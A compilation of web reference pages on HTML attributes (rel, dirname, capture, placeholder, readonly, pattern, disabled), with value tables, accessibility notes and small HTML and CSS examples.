HTML attribute: rel - HTML: HyperText Markup Language

HTML attribute: rel
===================

The **`rel`** attribute defines the relationship between a linked resource and the current document. Valid on `<link>`, `<a>`, `<area>`, and `<form>`, the supported values depend on the element on which the attribute is found.

The type of relationships is given by the value of the `rel` attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords. Differently from a `class` name, which does not express semantics, the `rel` attribute must express tokens that are semantically valid for both machines and humans. The current registries for the possible values of the `rel` attribute are the IANA link relation registry, the HTML Living Standard, and the freely-editable existing-rel-values page in the microformats wiki, as suggested by the Living Standard. If a `rel` attribute not present in one of the three sources above is used some HTML validators (such as the W3C Markup Validation Service) will generate a warning.

The following table lists some of the most important existing keywords. Every keyword within a space-separated value should be unique within that value.

| `rel` value | Description | `<link>` | `<a>` and `<area>` | `<form>` |
| --- | --- | --- | --- | --- |
| `alternate` | Alternate representations of the current document. | Link | Link | Not allowed |
| `author` | Author of the current document or article. | Link | Link | Not allowed |
| `bookmark` | Permalink for the nearest ancestor section. | Not allowed | Link | Not allowed |
| `canonical` | Preferred URL for the current document. | Link | Not allowed | Not allowed |
| `dns-prefetch` | Tells the browser to preemptively perform DNS resolution for the target resource's origin. | External Resource | Not allowed | Not allowed |
| `external` | The referenced document is not part of the same site as the current document. | Not allowed | Annotation | Annotation |
| `help` | Link to context-sensitive help. | Link | Link | Link |
| `icon` | An icon representing the current document. | External Resource | Not allowed | Not allowed |
| `license` | Indicates that the main content of the current document is covered by the copyright license described by the referenced document. | Link | Link | Link |
| `manifest` | Web app manifest. | Link | Not allowed | Not allowed |
| `me` | Indicates that the current document represents the person who owns the linked content. | Link | Link | Not allowed |
| `modulepreload` | Tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. Optionally, the module's dependencies can be fetched as well. | External Resource | Not allowed | Not allowed |
| `next` | Indicates that the current document is a part of a series and that the next document in the series is the referenced document. | Link | Link | Link |
| `nofollow` | Indicates that the current document's original author or publisher does not endorse the referenced document. | Not allowed | Annotation | Annotation |
| `noopener` | Creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those, to begin with (i.e., has an appropriate `target` attribute value). | Not allowed | Annotation | Annotation |
| `noreferrer` | No `Referer` header will be included. Additionally, has the same effect as `noopener`. | Not allowed | Annotation | Annotation |
| `opener` | Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). | Not allowed | Annotation | Annotation |
| `pingback` | Gives the address of the pingback server that handles pingbacks to the current document. | External Resource | Not allowed | Not allowed |
| `preconnect` | Specifies that the user agent should preemptively connect to the target resource's origin. | External Resource | Not allowed | Not allowed |
| `prefetch` | Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. | External Resource | Not allowed | Not allowed |
| `preload` | Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the `as` attribute (and the priority associated with the corresponding destination). | External Resource | Not allowed | Not allowed |
| `prerender` | Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. | External Resource | Not allowed | Not allowed |
| `prev` | Indicates that the current document is a part of a series and that the previous document in the series is the referenced document. | Link | Link | Link |
| `privacy-policy` | Gives a link to a information about the data collection and usage practices that apply to the current document. | Link | Link | Not allowed |
| `search` | Gives a link to a resource that can be used to search through the current document and its related pages. | Link | Link | Link |
| `stylesheet` | Imports a style sheet. | External Resource | Not allowed | Not allowed |
| `tag` | Gives a tag (identified by the given address) that applies to the current document. | Not allowed | Link | Not allowed |
| `terms-of-service` | Link to the agreement, or terms of service, between the document's provider and users who wish to use the document. | Link | Link | Not allowed |

The `rel` attribute is relevant to the `<link>`, `<a>`, `<area>`, and `<form>` elements, but some values only relevant to a subset of those elements. Like all HTML keyword attribute values, these values are case-insensitive.

The `rel` attribute has no default value. If the attribute is omitted or if none of the values in the attribute are supported, then the document has no particular relationship with the destination resource other than there being a hyperlink between the two. In this case, on `<link>` and `<form>`, if the `rel` attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element does not create any links. `<a>` and `<area>` will still created links, but without a defined relationship.

Values
------

`alternate`

Indicates an alternate representation of the current document. Valid for `<link>`, `<a>`, and `<area>`, the meaning depends on the values of the other attributes.

* With the `stylesheet` keyword on a `<link>`, it creates an alternate stylesheet.

```html
<!-- a persistent style sheet -->
<link rel="stylesheet" href="default.css" />
<!-- alternate style sheets -->
<link
 rel="alternate stylesheet"
 href="highcontrast.css"
 title="High contrast" />
```

* With an `hreflang` attribute that differs from the document language, it indicates a translation.
* With the `type` attribute value of `"application/rss+xml"`or `"application/atom+xml"`, it creates a hyperlink referencing a syndication feed.

```html
<link
 rel="alternate"
 type="application/atom+xml"
 href="posts.xml"
 title="Blog" />
```

* Otherwise, it creates a hyperlink referencing an alternate representation of the current document, whose nature is given by the `hreflang` and `type` attributes.
    + If `hreflang` is given alongside `alternate`, and the value of `hreflang` is different from the current document's language, it indicates that the referenced document is a translation.
    + If `type` is given alongside `alternate`, it indicates that the referenced document is an alternative format (such as a PDF).
    + The `hreflang` and `type` attributes may both be given alongside `alternate`.
```html
<link
 rel="alternate"
 href="/fr/html/print"
 hreflang="fr"
 type="text/html"
 media="print"
 title="French HTML (for printing)" />
<link
 rel="alternate"
 href="/fr/pdf"
 hreflang="fr"
 type="application/pdf"
 title="French PDF" />
```

`author`

Indicates the referenced document provides further information about the author of the current document or article. Relevant for `<link>`, `<a>`, and `<area>` elements.

With `<a>` and `<area>`, it indicates the linked document (or `mailto:`) provides information about the author of the nearest `<article>` ancestor if there is one, otherwise the entire document.

With `<link>`, it represents the author of the entire document.

**Note:** For historical reasons, the obsolete attribute value `rev="made"` is treated as `rel="author"`.

`bookmark`

Relevant as the `rel` attribute value for the `<a>` and `<area>` elements. Gives a permalink for the nearest ancestor `<article>` element, if there is one. If there is no ancestor `<article>` element, gives a permalink for the section the linking element is most closely associated with.

`canonical`

Valid for `<link>`, it defines the preferred URL for the current document, which helps search engines reduce duplicate content.

`dns-prefetch`

Relevant for the `<link>` element both in the `<body>` and `<head>`, it tells the browser to preemptively perform DNS resolution for the target resource's origin. Useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed DNS resolution for the origin of the specified resource. See dns-prefetch described in resource hints.

`external`

Relevant to `<form>`, `<a>`, and `<area>`, it indicates the referenced document is not part of the current site. This can be used with attribute selectors to style external links in a way that indicates to the user that they will be leaving the current site.

`help`

Relevant to `<form>`, `<link>`, `<a>`, and `<area>`, the `help` keyword indicates that the linked to content provides context-sensitive help, providing information for the parent of the element defining the hyperlink, and its children. When used within `<link>`, the help is for the whole document. When included with `<a>` and `<area>` and supported, the default `cursor` will be `help` instead of `pointer`.

`icon`

Valid with `<link>`, the linked resource represents the icon, a resource for representing the page in the user interface, for the current document.

The most common use for the `icon` value is the favicon:

```html
<link rel="icon" href="favicon.ico" />
```

If there are multiple `<link rel="icon">`s, the browser uses their `media`, `type`, and `sizes` attributes to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on.

**Note:** The `crossorigin` attribute is not supported for `rel="icon"` in Chromium-based browsers. See the open Chromium issue.

**Note:** Apple's iOS does not use this link type, nor the `sizes` attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder.
 Instead it uses the non-standard `apple-touch-icon` and `apple-touch-startup-image` respectively.

**Note:** The `shortcut` link type is often seen before `icon`, but this link type is non-conforming, ignored and **web authors must not use it anymore**.

`license`

Valid on the `<a>`, `<area>`, `<form>`, `<link>` elements, the `license` value indicates that the hyperlink leads to a document describing the licensing information; that the main content of the current document is covered by the copyright license described by the referenced document. If not inside the `<head>` element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this.

```html
<link rel="license" href="#license" />
```

**Note:** Although recognized, the synonym `copyright` is incorrect and must be avoided.

`manifest`
Experimental

Web app manifest. Requires the use of the CORS protocol for cross-origin fetching.

`modulepreload`

Useful for improved performance, and relevant to the `<link>` anywhere in the document, setting `rel="modulepreload"` tells the browser to preemptively fetch the script (and dependencies) and store it in the document's module map for later evaluation. `modulepreload` links can ensure network fetching is done with the module ready (but not evaluated) in the module map before it is necessarily needed. See also `modulepreload`.

`next`

Relevant to `<form>`, `<link>`, `<a>`, and `<area>`, the `next` values indicates that the current document is a part of a series, and that the next document in the series is the referenced document. When included in a `<link>`, browsers may assume that document will be fetched next, and treat it as a resource hint.

`nofollow`

Relevant to `<form>`, `<a>`, and `<area>`, the `nofollow` keyword tells search engine spiders to ignore the link relationship. The nofollow relationship may indicate the current document's owner does not endorse the referenced document. It is often included by Search Engine Optimizers pretending their link farms are not spam pages.

`noopener`

Relevant to `<form>`, `<a>`, and `<area>`, creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate `target` attribute value). In other words, it makes the link behave as if `window.opener` were null and `target="_parent"` were set.

This is the opposite of `opener`.

`noreferrer`

Relevant to `<form>`, `<a>`, and `<area>`, including this value makes the referrer unknown (no `Referer` header will be included), and creates a top-level browsing context as if `noopener` were also set.

`opener`

Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). Effectively, the opposite of noopener.

`pingback`

Gives the address of the pingback server that handles pingbacks to the current document. See the Pingback specification.

`preconnect`

Provides a hint to the browser suggesting that it open a connection to the linked website in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.

`prefetch`

 Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation.
 See prefetch for more information.

`preload`

Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the `as` attribute (and the priority associated with the corresponding destination). See the page for the `preload` value.

`prerender`
Deprecated

Non-standard

Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future, for example by fetching its subresources or performing some rendering.

`prev`

Similar to the `next` keyword, relevant to `<form>`, `<link>`, `<a>`, and `<area>`, the `prev` values indicates that the current document is a part of a series, and that the link references a previous document in the series is the referenced document.

Note: The synonym `previous` is incorrect and should not be used.

`privacy-policy`

Valid for `<a>`, `<area>`, and `<link>` elements, the `privacy-policy` value indicates that the referenced document is the Privacy Policy which describes the data collection and usage practices of the current document.

`search`

Relevant to `<form>`, `<link>`, `<a>`, and `<area>` elements, the `search` keywords indicates that the hyperlink references a document whose interface is specially designed for searching in the current document, site, and related resources, providing a link to a resource that can be used to search.

If the `type` attribute is set to `application/opensearchdescription+xml` the resource is an OpenSearch plugin that can be easily added to the interface of Firefox.

`stylesheet`

Valid for the `<link>` element, it imports an external resource to be used as a stylesheet. The `type` attribute is not needed as it's a `text/css` stylesheet, as that is the default value. If it's not a stylesheet of type `text/css` it is best to declare the type.

While this attribute defines the link as being a stylesheet, the interaction with other attributes and other key terms within the rel value impact whether the stylesheet is downloaded and/or used.

When used with the `alternate` keyword, it defines an alternative style sheet. In this case, include a non-empty `title`.

The external stylesheet will not be used or even downloaded if the media does not match the value of the `media` attribute.

Requires the use of the CORS protocol for cross-origin fetching.

`tag`

Valid for the `<a>`, and `<area>` elements, it gives a tag (identified by the given address) that applies to the current document. The tag value denotes that the link refers to a document describing a tag applying to the document on which it is located. This link type is not meant for tags within a tag cloud, as those tags apply to a group of pages, whereas the `tag` value of the `rel` attribute is for a single document.

`terms-of-service`

Valid for `<a>`, `<area>`, and `<link>` elements, the `terms-of-service` value indicates that the referenced document is the Terms of Service that describes the agreements between the current document's provider and users who wish to use the document provided.

### Non-standard values

`apple-touch-icon`

Specifies the icon for a web application on an iOS device.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # linkTypes |

Browser compatibility
---------------------

### html.elements.link.rel

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.a.rel

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.area.rel

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLLinkElement.relList`
* `HTMLAnchorElement.relList`
* `HTMLAreaElement.relList`


HTML attribute: dirname - HTML: HyperText Markup Language

HTML attribute: dirname
=======================

 The **`dirname`** attribute can be used on `<textarea>` and `<input>` elements and describes the directionality of the element's text content during form submission.
 The browser uses this attribute's value to determine whether text the user has entered is left-to-right or right-to-left oriented.
 When used, the element's text directionality value is included in form submission data along with the `dirname` attribute's value as the name of the field.

Usage notes
-----------

The `dirname` attribute can be used on any `<textarea>` element, or any `<input>` element with text, search, tel, url, or email type.

 The format of the submitted data is `{dirname_value}={direction}` where `{dirname_value}` is the value of the `dirname` attribute and `{direction}` is the directionality of the text.
 For example, if the user enters "Hello" in an element with the attributes `name="comment"` and `dirname="comment-direction"`, the URL-encoded form submission data for `GET` requests will be `comment=Hello&comment-direction=ltr`.
 The directionality is one of the following:

`rtl`

The text entered by the user is in a right-to-left writing direction.

`ltr`

The text entered by the user is in a left-to-right writing direction.

If no text directionality is specified, the user agent will use the directionality of the parent element containing the form, and if that is not specified, the default directionality of the user agent.

Examples
--------

### Textarea element directionality

In this example, the `dir="auto"` attribute on the textarea element allows the text directionality to be determined automatically based on the text entered by the user:

```html
<form method="get" action="https://www.example.com/submit">
  <textarea name="comment" dir="auto" dirname="comment-direction">سيب</textarea>
  <button type="submit">Send my greetings</button>
</form>
```

 When the user submits the form, the user agent includes two fields, one called `comment` with the value "سيب", and one called `comment-direction` with the value "rtl".
 The URL-encoded submission body looks like this:

```url
https://www.example.com/submit?comment=%D8%B3%D9%8A%D8%A8&comment-direction=rtl
```

### Input element directionality

In this example, the `dir="auto"` attribute on the input element allows the text directionality to be determined automatically based on the text entered by the user:

```html
<form method="get" action="https://www.example.com/submit">
  <input
 type="text"
 name="comment-input"
 dir="auto"
 dirname="comment-direction"
 value="Hello" />
  <button type="submit">Send my greetings</button>
</form>
```

When the user submits the form, the user agent includes two fields, one called `comment-input` with the value "Hello", and one called `comment-direction` with the value "ltr":

```url
https://www.example.com/submit?comment-input=Hello&comment-direction=ltr
```

### Inheriting directionality

The following `<input>` and `<textarea>` elements do not have a `dir` attribute, so they inherit the explicit directionality of their parent element, which is `rtl`:

```html
<div dir="rtl">
  <form method="get" action="https://www.example.com/submit">
    <input
 type="text"
 name="user"
 dirname="user-direction"
 value="LTR Username" />
    <textarea name="comment" dirname="comment-direction">LTR Comment</textarea>
    <button type="submit">Post Comment</button>
  </form>
</div>
```

The URL-encoded submission body looks like this:

```url
https://www.example.com/submit?user=LTR+Username&user-direction=rtl&comment=LTR+Comment&comment-direction=rtl
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-fe-dirname |

Browser compatibility
---------------------

### html.elements.textarea.dirname

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.input.dirname

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `dir` attribute
* `<input>`
* `<textarea>`


HTML attribute: capture - HTML: HyperText Markup Language

HTML attribute: capture
=======================

The **`capture`** attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the `accept` attribute.

Values include `user` and `environment`. The capture attribute is supported on the file input type.

The `capture` attribute takes as its value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.

| Value | Description |
| --- | --- |
| `user` | The user-facing camera and/or microphone should be used. |
| `environment` | The outward-facing camera and/or microphone should be used |

**Note:** Capture was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.

Try it
------

Examples
--------

When set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one.

```html
<p>
  <label for="soundFile">What does your voice sound like?:</label>
  <input type="file" id="soundFile" capture="user" accept="audio/\*" />
</p>
<p>
  <label for="videoFile">Upload a video:</label>
  <input type="file" id="videoFile" capture="environment" accept="video/\*" />
</p>
<p>
  <label for="imageFile">Upload a photo of yourself:</label>
  <input type="file" id="imageFile" capture="user" accept="image/\*" />
</p>
```

Note these work better on mobile devices; if your device is a desktop computer, you'll likely get a typical file picker.

Specifications
--------------

| Specification |
| --- |
| HTML Media Capture # dfn-capture |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Using files from web applications
* File API
* `HTMLInputElement.files`


HTML attribute: placeholder - HTML: HyperText Markup Language

HTML attribute: placeholder
===========================

The **`placeholder`** attribute defines the text displayed in a form control when the control has no value. The placeholder text should provide a brief hint to the user as to the expected type of data that should be entered into the control.

Effective placeholder text includes a word or short phrase that hints at the expected data type, not an explanation or prompt. The placeholder must not be used instead of a `<label>`. As the placeholder is not visible if the value of the form control is not null, using `placeholder` instead of a `<label>` for a prompt harms usability and accessibility.

The `placeholder` attribute is supported by the following input types: `text`, `search`, `url`, `tel`, `email`, and `password`. It is also supported by the ``<textarea>`` element. The example below shows the `placeholder` attribute in use to explain the expected format of an input field.

**Note:** The `placeholder` attribute can't include any line feeds (LF) or carriage returns (CR). If either is included in the value, the placeholder text will be clipped.

Accessibility concerns
----------------------

Placeholders should only be used to show an example of the type of data that should be entered into a form; never as a replacement for a `<label>` element; doing so harms accessibility and user experience.

The `<label>` text is visually and programmatically associated with its corresponding form control. Screen readers don't announce placeholder content by default, but they do announce label content; it's the label that informs assistive technology users what data should be entered in the control. Labels also improve user experience for users of pointing devices: When a user clicks, touches, or taps a `<label>`, focus is moved to the label's associated form control.

Placeholders can not be relied upon as a replacement for a label even for those not relying on assistive technology. Placeholder text is displayed at lower color contrast than the default form control text. This is by design, as you don't want users to be confused by what is placeholder text versus what is a filled-in form field. However, this lack of contrast can cause issues for low-vision users. Additionally, placeholder text disappears from form fields when users start entering text. If the placeholder text contains instructional information or examples that disappear, it can be confusing to users with cognitive issues and can make the form inaccessible if the placeholder contained the label.

Example
-------

### HTML

```html
<form action="/en-US/docs/Web/HTML/Attributes/placeholder">
  <label for="name">Enter your name:</label>
  <input type="text" id="name" name="name" placeholder="e.g. Mike Shinoda" />
  <button type="submit">Submit</button>
</form>
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-input-placeholder |

Browser compatibility
---------------------

### html.elements.input.placeholder

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.textarea.placeholder

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTML `title`
* CSS `:placeholder-shown` pseudo-class selector
* CSS `::placeholder` pseudo-element selector


HTML attribute: readonly - HTML: HyperText Markup Language

HTML attribute: readonly
========================

The Boolean **`readonly`** attribute, when present, makes the element not mutable, meaning the user can not edit the control.

Try it
------

Overview
--------

If the `readonly` attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation.

The `readonly` attribute is supported by `text`, `search`, `url`, `tel`, `email`, `password`, `date`, `month`, `week`, `time`, `datetime-local`, and `number` `<input>` types and the `<textarea>` form control elements. If present on any of these input types and elements, the `:read-only` pseudo class will match. If the attribute is not included, the `:read-write` pseudo class will match.

The attribute is not supported or relevant to `<select>` or input types that are already not mutable, such as `checkbox` and `radio` or cannot, by definition, start with a value, such as the `file` input type. `range` and `color`, as both have default values. It is also not supported on `hidden` as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including `image`.

**Note:** Only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distinction between being read-only and being disabled, so the `readonly` attribute does not apply.

When an input has the `readonly` attribute, the `:read-only` pseudo-class also applies to it. Conversely, inputs that support the `readonly` attribute but don't have the attribute set match the `:read-write` pseudo-class.

### Attribute interactions

The difference between `disabled` and `readonly` is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled.

Because a read-only field cannot have its value changed by a user interaction, `required` does not have any effect on inputs with the `readonly` attribute also specified.

The only way to modify dynamically the value of the readonly attribute is through a script.

**Note:** The `required` attribute is not permitted on inputs with the `readonly` attribute specified.

### Usability

Browsers display the `readonly` attribute.

### Constraint validation

If the element is read-only, then the element's value can not be updated by the user, and does not participate in constraint validation.

Example
-------

### HTML

```html
<div class="group">
  <input type="text" value="Some value" readonly="readonly" id="text" />
  <label for="text">Text box</label>
</div>
<div class="group">
  <input type="date" value="2020-01-01" readonly="readonly" id="date" />
  <label for="date">Date</label>
</div>
<div class="group">
  <input type="email" value="Some value" readonly="readonly" id="email" />
  <label for="email">Email</label>
</div>
<div class="group">
  <input type="password" value="Some value" readonly="readonly" id="pwd" />
  <label for="pwd">Password</label>
</div>
<div class="group">
  <textarea readonly="readonly" id="ta">Some value</textarea>
  <label for="ta">Message</label>
</div>
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-readonly-attribute |

Browser compatibility
---------------------

### html.elements.input.readonly

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.textarea.readonly

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `:read-only` and `:read-write`
* `<input>`
* `<select>`


HTML attribute: pattern - HTML: HyperText Markup Language

HTML attribute: pattern
=======================

The **`pattern`** attribute specifies a regular expression the form control's value should match. If a non-`null` value doesn't conform to the constraints set by the `pattern` value, the `ValidityState` object's read-only `patternMismatch` property will be true.

Try it
------

Overview
--------

The `pattern` attribute is an attribute of the text, tel, email, url, password, and search input types.

The `pattern` attribute, when specified, is a regular expression which the input's `value` must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the `RegExp` type, and as documented in our guide on regular expressions.

The pattern's regular expression is compiled with the `'v'` flag. This makes the regular expression unicode-aware, and also changes how character classes are interpreted. This allows character class set intersection and subtraction operations, and in addition to `]` and `\`, the following characters must be escaped using a `\` backslash if they represent literal characters: `(`, `)`, `[`, `{`, `}`, `/`, `-`, `|`. Before mid-2023, the `'u'` flag was specified instead; If you're updating older code, this document outlines the differences.

The pattern's regular expression must match the entire input's `value`, rather than matching a substring - as if a `^(?:` were implied at the start of the pattern and `)$` at the end.

No forward slashes should be specified around the pattern text. No regular expression is applied if the attribute value is absent, an empty string, or invalid.

Some of the input types supporting the pattern attribute, notably the email and url input types, have expected value syntaxes that must be matched. If the pattern attribute isn't present, and the value doesn't match the expected syntax for that value type, the `ValidityState` object's read-only `typeMismatch` property will be true.

### Constraint validation

If the input's value is not the empty string and the value does not match the entire regular expression, there is a constraint violation reported by the `ValidityState` object's `patternMismatch` property being `true`.

**Note:** If the `pattern` attribute is specified with no value, its value is implicitly the empty string. Thus, **any non-empty** input `value` will result in constraint violation.

### Usability and accessibility considerations

When including a `pattern`, provide a description of the pattern in visible text near the control. Additionally, include a `title` attribute which gives a description of the pattern. User agents may use the title contents during constraint validation to tell the user that the pattern is not matched. Some browsers show a tooltip with title contents, improving usability for sighted users. Additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility.

Only relying on the `title` attribute for the visual display of text content is discouraged, as many user agents do not expose the attribute in an accessible manner. Although some browsers show a tooltip when an element with a title is hovered, that leaves out keyboard-only and touch-only users. This is one of the several reasons you must include information informing users how to fill out the control to match the requirements.

While `title`s are used by some browsers to populate error messaging, because browsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred.

Examples
--------

### Matching a phone number

Given the following:

```html
<p>
  <label>
    Enter your phone number in the format (123) - 456 - 7890 (<input
 name="tel1"
 type="tel"
 pattern="[0-9]{3}"
 placeholder="###"
 aria-label="3-digit area code"
 size="2" />) -
    <input
 name="tel2"
 type="tel"
 pattern="[0-9]{3}"
 placeholder="###"
 aria-label="3-digit prefix"
 size="2" />
    -
    <input
 name="tel3"
 type="tel"
 pattern="[0-9]{4}"
 placeholder="####"
 aria-label="4-digit number"
 size="3" />
  </label>
</p>
```

Here we have 3 sections for a north American phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the `pattern` attribute set on each.

If the values are too long or too short, or contain characters that aren't digits, the `patternMismatch` will be true. When `true`, the element matches the `:invalid` CSS pseudo-classes.

```css
input:invalid {
  border: red solid 3px;
}
```

If we had used `minlength` and `maxlength` attributes instead, we may have seen `validityState.tooLong` or `validityState.tooShort` being true.

### Specifying a pattern

You can use the `pattern` attribute to specify a regular expression that the inputted value must match in order to be considered valid (see Validating against a regular expression for a simple crash course on using regular expressions to validate inputs).

The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters.

```html
<form>
  <div>
    <label for="uname">Choose a username: </label>
    <input
 type="text"
 id="uname"
 name="name"
 required
 size="45"
 pattern="[a-z]{4,8}"
 title="4 to 8 lowercase letters" />
    <span class="validity"></span>
    <p>Usernames must be lowercase and 4-8 characters in length.</p>
  </div>
  <div>
    <button>Submit</button>
  </div>
</form>
```

```
div {
  margin-bottom: 10px;
  position: relative;
}

p {
  font-size: 80%;
  color: #999;
}

input + span {
  padding-right: 30px;
}

input:invalid + span::after {
  position: absolute;
  content: "✖";
  padding-left: 5px;
}

input:valid + span::after {
  position: absolute;
  content: "✓";
  padding-left: 5px;
}
```

This renders like so:

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-input-pattern |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Constraint validation
* Forms: Data form validation
* Regular Expressions


HTML attribute: disabled - HTML: HyperText Markup Language

HTML attribute: disabled
========================

The Boolean **`disabled`** attribute, when present, makes the element not mutable, focusable, or even submitted with the form. The user can neither edit nor focus on the control, nor its form control descendants.

Try it
------

Overview
--------

If the `disabled` attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. Often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones.

The `disabled` attribute is supported by `<button>`, `<fieldset>`, `<optgroup>`, `<option>`, `<select>`, `<textarea>` and `<input>`.

This Boolean disabled attribute indicates that the user cannot interact with the control or its descendant controls. If this attribute is not specified, the control inherits its setting from the containing element, for example `fieldset`; if there is no containing element with the `disabled` attribute set, and the control itself does not have the attribute, then the control is enabled. If declared on an `<optgroup>`, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable.

**Note:** If a `<fieldset>` is disabled, the descendant form controls are all disabled, with the exception of form controls within the `<legend>`.

When a supporting element has the `disabled` attribute applied, the `:disabled` pseudo-class also applies to it. Conversely, elements that support the `disabled` attribute but don't have the attribute set match the `:enabled` pseudo-class.

This Boolean attribute prevents the user from interacting with the button. If this attribute isn't set, the button can still be disabled from a containing element, for example `<fieldset>`; if there is no containing element with the `disabled` attribute set, then the button is enabled.

Firefox will, unlike other browsers, persist the dynamic disabled state of a `<button>` across page loads. Use the `autocomplete` attribute to control this feature.

### Attribute interactions

The difference between `disabled` and `readonly` is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled.

Because a disabled field cannot have its value changed, `required` does not have any effect on inputs with the `disabled` attribute also specified. Additionally, since the elements become immutable, most other attributes, such as `pattern`, have no effect, until the control is enabled.

**Note:** The `required` attribute is not permitted on inputs with the `disabled` attribute specified.

### Usability

Browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form.

If present on a supporting elements, the ``:disabled`` pseudo class will match. If the attribute is not included, the ``:enabled`` pseudo class will match. If the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the `:disabled` and `:enabled` pseudo classes.

### Constraint validation

If the element is `disabled`, then the element's value can not receive focus and cannot be updated by the user, and does not participate in constraint validation.

Examples
--------

When form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. Here are examples of a disabled checkbox, radio button, `<option>` and `<optgroup>`, as well as some form controls that are disabled via the disabled attribute set on the ancestor ``<fieldset>`` element. The `<option>`s are disabled, but the `<select>` itself is not. We could have disable the entire `<select>` by adding the attribute to that element rather than its descendants.

```html
<fieldset>
  <legend>Checkboxes</legend>
  <p>
    <label>
      <input type="checkbox" name="chbox" value="regular" /> Regular
    </label>
  </p>
  <p>
    <label>
      <input type="checkbox" name="chbox" value="disabled" disabled /> disabled
    </label>
  </p>
</fieldset>

<fieldset>
  <legend>Radio buttons</legend>
  <p>
    <label> <input type="radio" name="radio" value="regular" /> Regular </label>
  </p>
  <p>
    <label>
      <input type="radio" name="radio" value="disabled" disabled /> disabled
    </label>
  </p>
</fieldset>

<p>
  <label
 >Select an option:
    <select>
      <optgroup label="Group 1">
        <option>Option 1.1</option>
      </optgroup>
      <optgroup label="Group 2">
        <option>Option 2.1</option>
        <option disabled>Option 2.2</option>
        <option>Option 2.3</option>
      </optgroup>
      <optgroup label="Group 3" disabled>
        <option>Disabled 3.1</option>
        <option>Disabled 3.2</option>
        <option>Disabled 3.3</option>
      </optgroup>
    </select>
  </label>
</p>

<fieldset disabled>
  <legend>Disabled fieldset</legend>
  <p>
    <label>
      Name: <input type="radio" name="radio" value="regular" /> Regular
    </label>
  </p>
  <p>
    <label>Number: <input type="number" /></label>
  </p>
</fieldset>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-fe-disabled |
| HTML Standard # attr-optgroup-disabled |
| HTML Standard # attr-option-disabled |

Browser compatibility
---------------------

### html.elements.button.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.fieldset.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.input.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.optgroup.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.option.disabled

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

